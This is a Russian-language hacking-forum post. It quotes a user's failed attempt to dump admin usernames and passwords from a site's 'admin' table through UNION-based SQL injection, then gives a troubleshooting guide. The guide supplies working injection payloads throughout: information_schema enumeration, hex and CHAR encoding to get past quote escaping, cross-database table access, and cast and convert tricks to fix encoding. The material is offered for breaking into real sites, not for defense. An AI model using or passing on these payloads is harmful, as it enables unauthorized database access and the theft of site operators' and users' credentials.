Сообщение от
Octave_Parango
пытаюсь вывести данные из колонки admin:
=-345+union+select+1,2,concat_ws(0x3a,admin_user,adm in_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,1 8,19+from+admin--
Ничего не выводит. Пробую лимит, тоже самое. Хэксил - пусто.
Пишу:
=-345+union+select+1,2,count(*),4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19+from+admin--
Выводит число 149
Гоняем одни и те-же вопросы по кругу.
Господа, вывод это не мёд (вроде есть, и сразу нет), он или есть, или нет.
Если Вы видите вывод цифры, то он есть 100%, а невозможность вывода данных может быть только в нескольких случаях
1 Таблица пустая
Проверяется count(*)
union+select+1,2,count(*),4+from+user
либо для 5 ветки так
union+select+1,table_rows+from+information_schema. tables+where+table_name='user'
Если ковычки слешируются, перевести название таблицы/колонки в hex или в CHAR, кому как нравится
Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем):
union+select+1,table_rows+from+information_schema. tables+where+table_name=0x7573657273
для CHAR так:
union+select+1,table_rows+from+information_schema. tables+where+table_name=char(117,115,101,114,115)
Как видим обошлись без ковычек (сдесь table_name=users)
Некоторые индивидумы умудряются загонять в хекс или чар вместе с ковычками, тоесть так 'users'=27757365727327, так делать ненадо, я Вас умоляю )
Внимание, операторы, функции, и т.д переводить в hex или char нельзя(точнее, переводить то можно, но база Вас не поймёт ))
2 Таблица в другой базе
В базе information_schema хранится информация обо
всех таблицах и столбцах из
всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт
Проверяем(5 ветка) :
table_schema+from+information_schema.tables+where+ table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна
union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user)
3 Несоответствие кодировки
Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов:
cast(Version()+as+binary)
CONVERT(Version(),binary)
convert(version()+using+latin1)
Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке
aes_decrypt(aes_encrypt(Version(),1),1)
unhex(hex(version()))
4 Несоответствие типа данных
MySql к типам данных лоялен, а вот другие базы нет.Если база не mysql, читаем статьи по своей базе и приводим данные к нужному типу.
5 Закрыт доступ к таблице\базе
Опять-же, в mysql нельзя ограничить доступ к таблице, (можно только к базе), а в некоторых других базах можно
*Все примеры даны для mysql , в других базах другой синтаксис(читаем статьи)
Это основные причины невозможности вывода данных, которые решат 99% ваших вопросов.